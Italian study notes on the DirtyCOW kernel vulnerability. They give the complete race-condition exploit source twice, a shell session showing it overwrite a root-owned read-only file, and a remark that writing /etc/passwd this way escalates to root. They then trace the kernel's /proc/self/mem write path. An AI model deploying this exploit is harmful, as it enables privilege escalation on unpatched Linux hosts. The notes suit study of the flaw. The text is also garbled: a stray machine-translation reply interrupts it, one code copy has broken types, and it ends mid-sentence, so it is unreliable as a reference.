
DirtyCOW Appunti
void *map; int f; struct stat st; char *name;
void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }
void *procselfmemThread(void *arg) { char str; str = (char)arg;
int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }
int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;
f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
Non hai fornito il contenuto della terza parte. Per favore, fornisci il testo da tradurre.```
$ sudo su
# echo "READ ONLY" > flag.txt
# chmod 0404 flag.txt
# exit
$
$ ll flag.txt
-r-----r-- 1 root root 10 flag.txt
$ echo "aaaaaa" > flag.txt
Permission Denied
$
$ gcc -pthread dirty.c -o dirty
$ ./dirty flag.txt aaaaaa
mmap 7f1a35bc4000
procselfmem -2094967296
madvise 0
$ cat flag.txt
aaaaaa
La tecnica di sfruttamento comune è scrivere con privilegi eccessivi in /etc/passwd per modificare l'utente root o i permessi dell'utente per scalare i privilegi.
Prima diamo un'occhiata a cosa fa l'exp.```c int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content"); return 1; }
pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);
pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);
pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
- Prima chiama pthread per creare due thread
- Poi `fopen` apre il file di destinazione `argv[1]` in sola lettura
- Mappa il file in memoria con `mmap` (indirizzo casuale). Lo scopo di `MAP_PRIVATE` è creare una mappatura di memoria privata per un task. Se un altro task tenta di scrivere in questa memoria, il processo prima crea una copia e poi scrive, realizzando così il CopyOnWrite, che evita di dover copiare l'intero spazio di memoria quando si creano processi figli o thread, e garantisce che le operazioni concorrenti sulla memoria tra i task non interferiscano.
- Successivamente avvia due thread: uno esegue `madviseThread`, l'altro `procselfmemThread`.
Poi vediamo i corpi di esecuzione dei due thread:
- Un thread chiama `madvise` sulla mappatura del file per comunicare al kernel lo stato di utilizzo della memoria mappata o condivisa. `MADV_DONTNEED` indica che l'area di memoria non sarà più utilizzata e il kernel può rilasciarla.
- L'altro thread apre `/proc/self/mem` con permessi di lettura/scrittura, che è la mappatura della memoria virtuale del processo stesso, e tenta continuamente di scrivere le informazioni di destinazione nel file.```c
void *madviseThread(void *arg) {
char *str;
str = (char*)arg;
int i, c = 0;
for(i = 0; i < 100000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
void *procselfmemThread(void *arg) {
char *str;
str = (char*)arg;
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 100000000; i++) {
lseek(f, (uintptr_t)map, SEEK_SET);
c += write(f, str, strlen(str));
}
printf("procselfmem %d\n\n", c);
}
Alla fine, sotto il bombardamento alternato dei due thread, il kernel presenta una vulnerabilità di race condition e procselfmemThread riesce a scrivere su un file di sola lettura.
mmap crea solo una mappatura di memoria sulla vma, ma non inserisce effettivamente il file mappato nel frame di pagina fisico. Pertanto, quando proviamo per la prima volta a scrivere su un file, scatterà inevitabilmente un page fault.Iniziamo l'analisi da write. Qualsiasi operazione su un file deve passare attraverso la tabella virtuale file_operations registrata dal file system a cui appartiene il file nel VFS. I file su /proc sono implementati da procfs. Trovando proc_mem_operations, si può vedere che write è associato a mem_write.```c
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
.release = mem_release,
};
`mem_write` è un wrapper di `mem_rw` (con il flag `write` impostato a 1). Il flusso principale di `mem_rw` è:
- Prima, `__get_free_page` alloca una pagina libera temporanea come buffer.
- Se è un'operazione di scrittura, chiama `copy_from_user` per copiare i dati da scrivere nella pagina temporanea.
- Quindi `access_remote_vm` legge i dati di destinazione nella pagina libera (lettura) o scrive il contenuto del buffer sull'indirizzo di destinazione (scrittura).
- Il termine "remote" deriva dal fatto che questo processo può potenzialmente leggere o scrivere file mappati in memoria di altri processi, il che significa che il processo può accedere allo spazio di indirizzi di altri processi. Questo è diverso da altri memory filesystem.
- Se è un'operazione di lettura, i dati letti nella pagina libera dal passo precedente vengono riscritti nel buffer dell'utente.```c
static ssize_t mem_rw(struct file *file, char __user *buf,
size_t count, loff_t *ppos, int write)
{
struct mm_struct *mm = file->private_data;
unsigned long addr = *ppos;
ssize_t copied;
char *page;
if (!mm)
return 0;
page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面
if (!page)
return -ENOMEM;
copied = 0;
if (!atomic_inc_not_zero(&mm->mm_users))
goto free;
while (count > 0) {
int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度,单次最大为PAGE_SIZE
if (write && copy_from_user(page, buf, this_len)) { // 若是写操作,从用户空间拷贝待写数据到临时空闲页面
copied = -EFAULT;
break;
}
this_len = access_remote_vm(mm, addr, page, this_len, write); // 读取/写入数据到临时空闲页面
if (!this_len) {
if (!copied)
copied = -EIO;
break;
}
if (!write && copy_to_user(buf, page, this_len)) { // 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
copied = -EFAULT;
break;
}
buf += this_len;
addr += this_len;
copied += this_len;
count -= this_len;
}
*ppos = addr;
mmput(mm);
free:
free_page((unsigned long) page); // 释放临时空闲页面
return copied;
}
access_remote_vm è un wrapper di __access_remote_vm, il flusso principale è:
get_user_pages ottiene la struttura della pagina (page struct) all'indirizzo di destinazione addrkmap per mappare la pagina nella memoria alta del kernel (la pagina si riferisce a una pagina fisica)